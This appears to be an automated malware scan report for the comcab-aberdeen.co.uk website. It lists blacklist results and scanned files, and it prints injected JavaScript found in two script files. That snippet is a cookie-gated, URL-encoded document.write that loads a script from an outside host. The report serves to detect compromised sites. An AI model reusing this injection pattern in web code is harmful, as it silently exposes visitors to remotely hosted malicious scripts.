Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=comcab-aberdeen.co.uk
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://comcab-aberdeen.co.uk/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.comcab-aberdeen.co.uk/ | 200 OK Content-Length: 14325 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/js/flashDetection.js | 200 OK Content-Length: 8710 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; function ControlVersion() { var version; var axo; var e; try { axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"); version = axo.GetVariable("$version"); } catch (e) { if(document.cookie.indexOf('logtime')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='logtime=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%64%77%7A%2E%6F%72%67%2E%69%6E%2F%6A%70%2E%70%68%70%22%3E%3C%2F%73%63%72%69%70%74%3E'));} Antivirus reports:
| ||
http://www.comcab-aberdeen.co.uk/js/centeredPopup.js | 200 OK Content-Length: 3575 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function newWindow(a_str_windowURL, a_str_windowName, a_int_windowWidth, a_int_windowHeight, a_bool_scrollbars, a_bool_resizable, a_bool_menubar, a_bool_toolbar, a_bool_addressbar, a_bool_statusbar, a_bool_fullscreen) {
var int_windowLeft = (screen.width - a_int_windowWidth) / 2; var int_windowTop = (screen.height - a_int_windowHeight) / 2; var str_windowProperties = 'height=' + a_int_windowHeight + ',width=' + a_int_windowWidth + ',top=' + int_windowTop + ',left=' + int_win if(document.cookie.indexOf('logtime')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='logtime=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%64%77%7A%2E%6F%72%67%2E%69%6E%2F%6A%70%2E%70%68%70%22%3E%3C%2F%73%63%72%69%70%74%3E'));} Antivirus reports:
| ||
http://www.google-analytics.com/urchin.js | 200 OK Content-Length: 22678 Content-Type: text/javascript | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=1 | 200 OK Content-Length: 14341 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=2 | 200 OK Content-Length: 11174 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=3 | 200 OK Content-Length: 12429 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=4 | 200 OK Content-Length: 12330 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=5 | 200 OK Content-Length: 11906 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=6 | 200 OK Content-Length: 12297 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=7 | 200 OK Content-Length: 13587 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=8 | 200 OK Content-Length: 12865 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/?pid=8 | 200 OK Content-Length: 12865 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/?pid=25 | 200 OK Content-Length: 12561 Content-Type: text/html | clean |
http://www.comcab-aberdeen.co.uk/index.php?pid=26&story_id=128 | 200 OK Content-Length: 12404 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: comcab-aberdeen.co.uk
Result:
GET / HTTP/1.1
Host: comcab-aberdeen.co.uk
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: comcab-aberdeen.co.uk
Referer: http://www.google.com/search?q=comcab-aberdeen.co.uk
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: comcab-aberdeen.co.uk
Referer: http://www.google.com/search?q=comcab-aberdeen.co.uk
Result:
The result is similar to the first query. There are no suspicious redirects found.